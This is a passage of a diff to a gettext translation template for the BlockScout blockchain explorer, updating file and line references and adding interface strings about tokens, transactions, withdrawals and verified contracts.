lib/block_scout_web/templates/block/overview.html.eex:51 #, elixir-autogen, elixir-format msgid "The block height of a particular block is defined as the number of blocks preceding it in the blockchain." msgstr "" -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:41 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:18 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:18 +#, elixir-autogen, elixir-format +msgid "The changes from this transaction have not yet happened since the transaction is still pending." +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:26 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:26 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:18 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:18 +#, elixir-autogen, elixir-format +msgid "The compiler version is specified in pragma solidity X.X.X. Use the compiler version rather than the nightly build. If using the Solidity compiler, run solc —version to check." +msgstr "" + +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:44 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:44 #, elixir-autogen, elixir-format msgid "The fallback function is executed on a call to the contract if none of the other functions match the given function signature, or if no data was supplied at all and there is no receive Ether function. The fallback function always receives data, but in order to also receive Ether it must be marked payable." msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:138 #: lib/block_scout_web/templates/block/overview.html.eex:138 #, elixir-autogen, elixir-format msgid "The hash of the block from which this block was generated." msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:92 +#: lib/block_scout_web/templates/address/overview.html.eex:74 +#: lib/block_scout_web/templates/address/overview.html.eex:74 #, elixir-autogen, elixir-format msgid "The name found in the source code of the Contract." msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:103 +#: lib/block_scout_web/templates/address/overview.html.eex:85 +#: lib/block_scout_web/templates/address/overview.html.eex:85 #, elixir-autogen, elixir-format msgid "The name of the validator." msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:79 #: lib/block_scout_web/templates/block/overview.html.eex:79 #, elixir-autogen, elixir-format msgid "The number of transactions in the block." msgstr "" -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:43 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:46 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:46 #, elixir-autogen, elixir-format msgid "The receive function is executed on a call to the contract with empty calldata. This is the function that is executed on plain Ether transfers (e.g. via .send() or .transfer()). If no such function exists, but a payable fallback function exists, the fallback function will be called on a plain Ether transfer. If neither a receive Ether nor a payable fallback function is present, the contract cannot receive Ether through regular transactions and throws an exception." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:129 +#: lib/block_scout_web/templates/transaction/overview.html.eex:137 +#: lib/block_scout_web/templates/transaction/overview.html.eex:137 #, elixir-autogen, elixir-format msgid "The revert reason of the transaction." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:104 +#: lib/block_scout_web/templates/transaction/overview.html.eex:109 +#: lib/block_scout_web/templates/transaction/overview.html.eex:109 #, elixir-autogen, elixir-format msgid "The status of the transaction: Confirmed or Unconfirmed." msgstr "" +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:67 #: lib/block_scout_web/templates/tokens/overview/_details.html.eex:67 #, elixir-autogen, elixir-format msgid "The total amount of tokens issued" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:177 +#: lib/block_scout_web/templates/block/overview.html.eex:179 +#: lib/block_scout_web/templates/block/overview.html.eex:179 #, elixir-autogen, elixir-format msgid "The total gas amount used in the block and its percentage of gas filled in the block." msgstr "" +#: lib/block_scout_web/templates/address_validation/index.html.eex:16 #: lib/block_scout_web/templates/address_validation/index.html.eex:16 #, elixir-autogen, elixir-format msgid "There are no blocks validated by this address." msgstr "" +#: lib/block_scout_web/templates/block/index.html.eex:17 #: lib/block_scout_web/templates/block/index.html.eex:17 #, elixir-autogen, elixir-format msgid "There are no blocks." msgstr "" -#: lib/block_scout_web/templates/tokens/holder/index.html.eex:28 +#: lib/block_scout_web/templates/tokens/holder/index.html.eex:29 +#: lib/block_scout_web/templates/tokens/holder/index.html.eex:29 #, elixir-autogen, elixir-format msgid "There are no holders for this Token." msgstr "" +#: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:54 #: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:54 #, elixir-autogen, elixir-format msgid "There are no internal transactions for this address." msgstr "" +#: lib/block_scout_web/templates/transaction_internal_transaction/index.html.eex:17 #: lib/block_scout_web/templates/transaction_internal_transaction/index.html.eex:17 #, elixir-autogen, elixir-format msgid "There are no internal transactions for this transaction." msgstr "" +#: lib/block_scout_web/templates/address_logs/index.html.eex:28 #: lib/block_scout_web/templates/address_logs/index.html.eex:28 #, elixir-autogen, elixir-format msgid "There are no logs for this address." msgstr "" +#: lib/block_scout_web/templates/transaction_log/index.html.eex:20 #: lib/block_scout_web/templates/transaction_log/index.html.eex:20 #, elixir-autogen, elixir-format msgid "There are no logs for this transaction." msgstr "" +#: lib/block_scout_web/templates/pending_transaction/index.html.eex:22 #: lib/block_scout_web/templates/pending_transaction/index.html.eex:22 #, elixir-autogen, elixir-format msgid "There are no pending transactions." msgstr "" +#: lib/block_scout_web/templates/address_token_transfer/index.html.eex:53 #: lib/block_scout_web/templates/address_token_transfer/index.html.eex:53 #, elixir-autogen, elixir-format msgid "There are no token transfers for this address." msgstr "" +#: lib/block_scout_web/templates/transaction_token_transfer/index.html.eex:19 #: lib/block_scout_web/templates/transaction_token_transfer/index.html.eex:19 #, elixir-autogen, elixir-format msgid "There are no token transfers for this transaction" msgstr "" +#: lib/block_scout_web/templates/address_token/index.html.eex:65 #: lib/block_scout_web/templates/address_token/index.html.eex:65 #, elixir-autogen, elixir-format msgid "There are no tokens for this address." msgstr "" -#: lib/block_scout_web/templates/tokens/inventory/index.html.eex:27 +#: lib/block_scout_web/templates/tokens/inventory/index.html.eex:28 +#: lib/block_scout_web/templates/tokens/inventory/index.html.eex:28 #, elixir-autogen, elixir-format msgid "There are no tokens." msgstr "" +#: lib/block_scout_web/templates/address_transaction/index.html.eex:55 #: lib/block_scout_web/templates/address_transaction/index.html.eex:55 #, elixir-autogen, elixir-format msgid "There are no transactions for this address." msgstr "" -#: lib/block_scout_web/templates/block_transaction/index.html.eex:27 +#: lib/block_scout_web/templates/block_transaction/index.html.eex:19 +#: lib/block_scout_web/templates/block_transaction/index.html.eex:19 #, elixir-autogen, elixir-format msgid "There are no transactions for this block." msgstr "" +#: lib/block_scout_web/templates/transaction/index.html.eex:31 #: lib/block_scout_web/templates/transaction/index.html.eex:31 #, elixir-autogen, elixir-format msgid "There are no transactions." msgstr "" +#: lib/block_scout_web/templates/tokens/instance/holder/index.html.eex:28 #: lib/block_scout_web/templates/tokens/instance/holder/index.html.eex:28 #: lib/block_scout_web/templates/tokens/instance/transfer/index.html.eex:28 -#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:26 +#: lib/block_scout_web/templates/tokens/instance/transfer/index.html.eex:28 +#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:27 +#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:27 #, elixir-autogen, elixir-format msgid "There are no transfers for this Token." msgstr "" -#: lib/block_scout_web/templates/address_coin_balance/index.html.eex:35 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:99 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:99 #, elixir-autogen, elixir-format -msgid "There is no coin history for this address." +msgid "There are no verified contracts." +msgstr "" + +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:54 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:54 +#, elixir-autogen, elixir-format +msgid "There are no withdrawals for this address." msgstr "" -#: lib/block_scout_web/templates/address_decompiled_contract/index.html.eex:29 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:45 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:45 #, elixir-autogen, elixir-format -msgid "There is no decompilded contracts for this address." +msgid "There are no withdrawals for this block." msgstr "" +#: lib/block_scout_web/templates/withdrawal/index.html.eex:53 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:53 +#, elixir-autogen, elixir-format +msgid "There are no withdrawals." +msgstr "" + +#: lib/block_scout_web/templates/address_coin_balance/index.html.eex:35 +#: lib/block_scout_web/templates/address_coin_balance/index.html.eex:35 +#, elixir-autogen, elixir-format +msgid "There is no coin history for this address." +msgstr "" + +#: lib/block_scout_web/templates/address_coin_balance/index.html.eex:21 #: lib/block_scout_web/templates/address_coin_balance/index.html.eex:21 #: lib/block_scout_web/templates/chain/show.html.eex:9 +#: lib/block_scout_web/templates/chain/show.html.eex:9 #, elixir-autogen, elixir-format msgid "There was a problem loading the chart." msgstr "" +#: lib/block_scout_web/templates/api_docs/index.html.eex:6 #: lib/block_scout_web/templates/api_docs/index.html.eex:6 #, elixir-autogen, elixir-format msgid "This API is provided for developers transitioning their applications from Etherscan to BlockScout. It supports GET and POST requests." msgstr "" +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:7 #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:7 #, elixir-autogen, elixir-format msgid "This API is provided to support some rpc methods in the exact format specified for ethereum nodes, which can be found " msgstr "" +#: lib/block_scout_web/views/block_transaction_view.ex:11 #: lib/block_scout_web/views/block_transaction_view.ex:11 #, elixir-autogen, elixir-format msgid "This block has not been processed yet." msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:41 +#: lib/block_scout_web/templates/address_contract/index.html.eex:47 +#: lib/block_scout_web/templates/address_contract/index.html.eex:47 #, elixir-autogen, elixir-format msgid "This contract has been partially verified via Sourcify." msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:45 +#: lib/block_scout_web/templates/address_contract/index.html.eex:51 +#: lib/block_scout_web/templates/address_contract/index.html.eex:51 #, elixir-autogen, elixir-format msgid "This contract has been verified via Sourcify." msgstr "" +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:10 #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:10 #, elixir-autogen, elixir-format msgid "This is useful to allow sending requests to blockscout without having to change anything about the request." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:59 +#: lib/block_scout_web/templates/page_not_found/index.html.eex:8 +#: lib/block_scout_web/templates/page_not_found/index.html.eex:8 +#, elixir-autogen, elixir-format +msgid "This page is no longer explorable! If you are lost, use the search bar to find what you are looking for." +msgstr "" + +#: lib/block_scout_web/templates/transaction_state/index.html.eex:22 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:22 +#, elixir-autogen, elixir-format +msgid "This transaction hasn't changed state." +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:64 +#: lib/block_scout_web/templates/transaction/overview.html.eex:64 #, elixir-autogen, elixir-format msgid "This transaction is pending confirmation." msgstr "" #: lib/block_scout_web/templates/block/overview.html.eex:71 -#: lib/block_scout_web/templates/transaction/overview.html.eex:172 +#: lib/block_scout_web/templates/block/overview.html.eex:71 +#: lib/block_scout_web/templates/transaction/overview.html.eex:180 +#: lib/block_scout_web/templates/transaction/overview.html.eex:180 #, elixir-autogen, elixir-format msgid "Timestamp" msgstr "" #: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:32 +#: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:32 +#: lib/block_scout_web/templates/address_token_transfer/index.html.eex:34 #: lib/block_scout_web/templates/address_token_transfer/index.html.eex:34 #: lib/block_scout_web/templates/address_transaction/index.html.eex:28 -#: lib/block_scout_web/templates/transaction/overview.html.eex:215 -#: lib/block_scout_web/views/address_internal_transaction_view.ex:9 -#: lib/block_scout_web/views/address_token_transfer_view.ex:9 -#: lib/block_scout_web/views/address_transaction_view.ex:9 +#: lib/block_scout_web/templates/address_transaction/index.html.eex:28 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:29 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:29 +#: lib/block_scout_web/templates/transaction/overview.html.eex:267 +#: lib/block_scout_web/templates/transaction/overview.html.eex:267 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:32 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:32 +#: lib/block_scout_web/views/address_internal_transaction_view.ex:10 +#: lib/block_scout_web/views/address_internal_transaction_view.ex:10 +#: lib/block_scout_web/views/address_token_transfer_view.ex:10 +#: lib/block_scout_web/views/address_token_transfer_view.ex:10 +#: lib/block_scout_web/views/address_transaction_view.ex:10 +#: lib/block_scout_web/views/address_transaction_view.ex:10 #, elixir-autogen, elixir-format msgid "To" msgstr "" +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:20 #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:20 #, elixir-autogen, elixir-format msgid "To have guaranteed accuracy, use the link above to verify the contract's source code." msgstr "" #: lib/block_scout_web/templates/address_logs/_logs.html.eex:6 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:6 +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:8 #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:8 #: lib/block_scout_web/templates/transaction_log/_logs.html.eex:6 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:6 #, elixir-autogen, elixir-format msgid "To see accurate decoded input data, the contract must be verified." msgstr "" +#: lib/block_scout_web/templates/layout/_topnav.html.eex:18 #: lib/block_scout_web/templates/layout/_topnav.html.eex:18 #, elixir-autogen, elixir-format msgid "Toggle navigation" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:73 +#: lib/block_scout_web/templates/address/overview.html.eex:55 +#: lib/block_scout_web/templates/address/overview.html.eex:55 +#: lib/block_scout_web/templates/tokens/index.html.eex:31 +#: lib/block_scout_web/templates/tokens/index.html.eex:31 #, elixir-autogen, elixir-format msgid "Token" msgstr "" #: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:3 -#: lib/block_scout_web/views/transaction_view.ex:448 +#: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:3 +#: lib/block_scout_web/views/transaction_view.ex:488 +#: lib/block_scout_web/views/transaction_view.ex:488 #, elixir-autogen, elixir-format msgid "Token Burning" msgstr "" #: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:7 -#: lib/block_scout_web/views/transaction_view.ex:449 +#: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:7 +#: lib/block_scout_web/views/transaction_view.ex:489 +#: lib/block_scout_web/views/transaction_view.ex:489 #, elixir-autogen, elixir-format msgid "Token Creation" msgstr "" #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:10 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:10 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:34 #: lib/block_scout_web/templates/tokens/overview/_details.html.eex:34 #, elixir-autogen, elixir-format msgid "Token Details" msgstr "" -#: lib/block_scout_web/templates/tokens/holder/index.html.eex:16 +#: lib/block_scout_web/templates/tokens/holder/index.html.eex:17 +#: lib/block_scout_web/templates/tokens/holder/index.html.eex:17 +#: lib/block_scout_web/templates/tokens/instance/holder/index.html.eex:16 #: lib/block_scout_web/templates/tokens/instance/holder/index.html.eex:16 #: lib/block_scout_web/templates/tokens/instance/overview/_tabs.html.eex:17 +#: lib/block_scout_web/templates/tokens/instance/overview/_tabs.html.eex:17 +#: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:11 #: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:11 #: lib/block_scout_web/views/tokens/overview_view.ex:40 +#: lib/block_scout_web/views/tokens/overview_view.ex:40 #, elixir-autogen, elixir-format msgid "Token Holders" msgstr "" +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:38 #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:38 #: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:18 +#: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:18 +#: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:37 #: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:37 #, elixir-autogen, elixir-format msgid "Token ID" msgstr "" #: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:5 -#: lib/block_scout_web/views/transaction_view.ex:447 +#: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:5 +#: lib/block_scout_web/views/transaction_view.ex:487 +#: lib/block_scout_web/views/transaction_view.ex:487 #, elixir-autogen, elixir-format msgid "Token Minting" msgstr "" +#: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:9 #: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:9 #: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:11 -#: lib/block_scout_web/views/transaction_view.ex:450 +#: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:11 +#: lib/block_scout_web/views/transaction_view.ex:490 +#: lib/block_scout_web/views/transaction_view.ex:490 #, elixir-autogen, elixir-format msgid "Token Transfer" msgstr "" +#: lib/block_scout_web/templates/address/_tabs.html.eex:13 #: lib/block_scout_web/templates/address/_tabs.html.eex:13 #: lib/block_scout_web/templates/address_token_transfer/index.html.eex:19 +#: lib/block_scout_web/templates/address_token_transfer/index.html.eex:19 +#: lib/block_scout_web/templates/tokens/instance/overview/_tabs.html.eex:3 #: lib/block_scout_web/templates/tokens/instance/overview/_tabs.html.eex:3 #: lib/block_scout_web/templates/tokens/instance/transfer/index.html.eex:16 +#: lib/block_scout_web/templates/tokens/instance/transfer/index.html.eex:16 +#: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:5 #: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:5 -#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:14 +#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:15 +#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:15 +#: lib/block_scout_web/templates/transaction/_tabs.html.eex:4 #: lib/block_scout_web/templates/transaction/_tabs.html.eex:4 #: lib/block_scout_web/templates/transaction_token_transfer/index.html.eex:7 -#: lib/block_scout_web/views/address_view.ex:363 -#: lib/block_scout_web/views/tokens/instance/overview_view.ex:195 +#: lib/block_scout_web/templates/transaction_token_transfer/index.html.eex:7 +#: lib/block_scout_web/views/address_view.ex:355 +#: lib/block_scout_web/views/address_view.ex:355 +#: lib/block_scout_web/views/tokens/instance/overview_view.ex:74 +#: lib/block_scout_web/views/tokens/instance/overview_view.ex:74 +#: lib/block_scout_web/views/tokens/overview_view.ex:39 #: lib/block_scout_web/views/tokens/overview_view.ex:39 -#: lib/block_scout_web/views/transaction_view.ex:511 +#: lib/block_scout_web/views/transaction_view.ex:551 +#: lib/block_scout_web/views/transaction_view.ex:551 #, elixir-autogen, elixir-format msgid "Token Transfers" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:72 +#: lib/block_scout_web/templates/address/overview.html.eex:54 +#: lib/block_scout_web/templates/address/overview.html.eex:54 #, elixir-autogen, elixir-format msgid "Token name and symbol." msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:141 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:142 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:142 #, elixir-autogen, elixir-format msgid "Token type" msgstr "" #: lib/block_scout_web/templates/address/_tabs.html.eex:21 -#: lib/block_scout_web/templates/address/overview.html.eex:193 +#: lib/block_scout_web/templates/address/_tabs.html.eex:21 +#: lib/block_scout_web/templates/address/overview.html.eex:177 +#: lib/block_scout_web/templates/address/overview.html.eex:177 +#: lib/block_scout_web/templates/address_token/overview.html.eex:58 #: lib/block_scout_web/templates/address_token/overview.html.eex:58 #: lib/block_scout_web/templates/address_token_transfer/index.html.eex:13 -#: lib/block_scout_web/templates/layout/_topnav.html.eex:73 +#: lib/block_scout_web/templates/address_token_transfer/index.html.eex:13 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:84 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:84 #: lib/block_scout_web/templates/tokens/index.html.eex:10 -#: lib/block_scout_web/views/address_view.ex:360 +#: lib/block_scout_web/templates/tokens/index.html.eex:10 +#: lib/block_scout_web/views/address_view.ex:352 +#: lib/block_scout_web/views/address_view.ex:352 #, elixir-autogen, elixir-format msgid "Tokens" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:282 +#: lib/block_scout_web/templates/transaction/overview.html.eex:336 +#: lib/block_scout_web/templates/transaction/overview.html.eex:336 #, elixir-autogen, elixir-format msgid "Tokens Burnt" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:298 +#: lib/block_scout_web/templates/transaction/overview.html.eex:352 +#: lib/block_scout_web/templates/transaction/overview.html.eex:352 #, elixir-autogen, elixir-format msgid "Tokens Created" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:265 +#: lib/block_scout_web/templates/transaction/overview.html.eex:319 +#: lib/block_scout_web/templates/transaction/overview.html.eex:319 #, elixir-autogen, elixir-format msgid "Tokens Minted" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:249 +#: lib/block_scout_web/templates/transaction/overview.html.eex:303 +#: lib/block_scout_web/templates/transaction/overview.html.eex:303 #, elixir-autogen, elixir-format msgid "Tokens Transferred" msgstr "" +#: lib/block_scout_web/templates/address/_metatags.html.eex:13 #: lib/block_scout_web/templates/address/_metatags.html.eex:13 #, elixir-autogen, elixir-format msgid "Top Accounts - %{subnetwork} Explorer" msgstr "" +#: lib/block_scout_web/templates/address_logs/index.html.eex:14 #: lib/block_scout_web/templates/address_logs/index.html.eex:14 #, elixir-autogen, elixir-format msgid "Topic" msgstr "" -#: lib/block_scout_web/templates/address_logs/_logs.html.eex:71 -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:91 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:68 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:68 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:100 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:100 #, elixir-autogen, elixir-format msgid "Topics" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:169 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:9 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:9 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:22 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:22 +#, elixir-autogen, elixir-format +msgid "Total" +msgstr "" + +#: lib/block_scout_web/templates/block/overview.html.eex:170 +#: lib/block_scout_web/templates/block/overview.html.eex:170 +#, elixir-autogen, elixir-format +msgid "Total Difficulty" +msgstr "" + +#: lib/block_scout_web/templates/tokens/index.html.eex:43 +#: lib/block_scout_web/templates/tokens/index.html.eex:43 #, elixir-autogen, elixir-format -msgid "Total Difficulty" +msgid "Total Supply" msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:82 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:84 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:84 #, elixir-autogen, elixir-format msgid "Total Supply * Price" msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:130 +#: lib/block_scout_web/templates/chain/show.html.eex:133 +#: lib/block_scout_web/templates/chain/show.html.eex:133 #, elixir-autogen, elixir-format msgid "Total blocks" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:168 +#: lib/block_scout_web/templates/block/overview.html.eex:169 +#: lib/block_scout_web/templates/block/overview.html.eex:169 #, elixir-autogen, elixir-format msgid "Total difficulty of the chain until this block." msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:186 +#: lib/block_scout_web/templates/block/overview.html.eex:188 +#: lib/block_scout_web/templates/block/overview.html.eex:188 #, elixir-autogen, elixir-format msgid "Total gas limit provided by all transactions in the block." msgstr "" +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:68 #: lib/block_scout_web/templates/tokens/overview/_details.html.eex:68 #, elixir-autogen, elixir-format msgid "Total supply" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:329 +#: lib/block_scout_web/templates/transaction/overview.html.eex:383 +#: lib/block_scout_web/templates/transaction/overview.html.eex:383 #, elixir-autogen, elixir-format msgid "Total transaction fee." msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:109 +#: lib/block_scout_web/templates/chain/show.html.eex:112 +#: lib/block_scout_web/templates/chain/show.html.eex:112 #, elixir-autogen, elixir-format msgid "Total transactions" msgstr "" +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:11 +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:11 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:23 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:23 #: lib/block_scout_web/templates/address_logs/_logs.html.eex:19 -#: lib/block_scout_web/views/transaction_view.ex:460 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:19 +#: lib/block_scout_web/views/transaction_view.ex:500 +#: lib/block_scout_web/views/transaction_view.ex:500 #, elixir-autogen, elixir-format msgid "Transaction" msgstr "" +#: lib/block_scout_web/templates/transaction/_metatags.html.eex:3 #: lib/block_scout_web/templates/transaction/_metatags.html.eex:3 #, elixir-autogen, elixir-format msgid "Transaction %{transaction} - %{subnetwork} Explorer" msgstr "" +#: lib/block_scout_web/templates/transaction/_metatags.html.eex:11 #: lib/block_scout_web/templates/transaction/_metatags.html.eex:11 #, elixir-autogen, elixir-format msgid "Transaction %{transaction}, %{subnetwork} %{transaction}" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:404 +#: lib/block_scout_web/templates/transaction/overview.html.eex:225 +#: lib/block_scout_web/templates/transaction/overview.html.eex:225 +#, elixir-autogen, elixir-format, fuzzy +msgid "Transaction Action" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:470 +#: lib/block_scout_web/templates/transaction/overview.html.eex:470 #, elixir-autogen, elixir-format msgid "Transaction Burnt Fee" msgstr "" +#: lib/block_scout_web/templates/transaction/overview.html.eex:50 #: lib/block_scout_web/templates/transaction/overview.html.eex:50 #, elixir-autogen, elixir-format msgid "Transaction Details" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:330 +#: lib/block_scout_web/templates/transaction/overview.html.eex:384 +#: lib/block_scout_web/templates/transaction/overview.html.eex:384 #, elixir-autogen, elixir-format msgid "Transaction Fee" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:75 +#: lib/block_scout_web/templates/transaction/overview.html.eex:80 +#: lib/block_scout_web/templates/transaction/overview.html.eex:80 #, elixir-autogen, elixir-format msgid "Transaction Hash" msgstr "" #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:2 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:2 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:19 #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:19 #, elixir-autogen, elixir-format msgid "Transaction Inputs" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:354 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:13 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:13 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:7 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:7 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:17 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:17 +#, elixir-autogen, elixir-format +msgid "Transaction Tags" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:414 +#: lib/block_scout_web/templates/transaction/overview.html.eex:414 #, elixir-autogen, elixir-format msgid "Transaction Type" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:427 +#: lib/block_scout_web/templates/transaction/overview.html.eex:534 +#: lib/block_scout_web/templates/transaction/overview.html.eex:534 #, elixir-autogen, elixir-format msgid "Transaction number from the sending address. Each transaction sent from an address increments the nonce by 1." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:353 +#: lib/block_scout_web/templates/transaction/overview.html.eex:413 +#: lib/block_scout_web/templates/transaction/overview.html.eex:413 #, elixir-autogen, elixir-format msgid "Transaction type, introduced in EIP-2718." msgstr "" #: lib/block_scout_web/templates/address/_tabs.html.eex:7 -#: lib/block_scout_web/templates/address/overview.html.eex:204 -#: lib/block_scout_web/templates/address/overview.html.eex:210 -#: lib/block_scout_web/templates/address/overview.html.eex:218 +#: lib/block_scout_web/templates/address/_tabs.html.eex:7 +#: lib/block_scout_web/templates/address/_tile.html.eex:31 +#: lib/block_scout_web/templates/address/_tile.html.eex:31 +#: lib/block_scout_web/templates/address/overview.html.eex:188 +#: lib/block_scout_web/templates/address/overview.html.eex:188 +#: lib/block_scout_web/templates/address/overview.html.eex:194 +#: lib/block_scout_web/templates/address/overview.html.eex:194 +#: lib/block_scout_web/templates/address/overview.html.eex:202 +#: lib/block_scout_web/templates/address/overview.html.eex:202 +#: lib/block_scout_web/templates/address_transaction/index.html.eex:13 #: lib/block_scout_web/templates/address_transaction/index.html.eex:13 +#: lib/block_scout_web/templates/block/_tabs.html.eex:4 +#: lib/block_scout_web/templates/block/_tabs.html.eex:4 #: lib/block_scout_web/templates/block/overview.html.eex:80 -#: lib/block_scout_web/templates/block_transaction/index.html.eex:10 -#: lib/block_scout_web/templates/chain/show.html.eex:213 -#: lib/block_scout_web/templates/layout/_topnav.html.eex:48 -#: lib/block_scout_web/views/address_view.ex:362 +#: 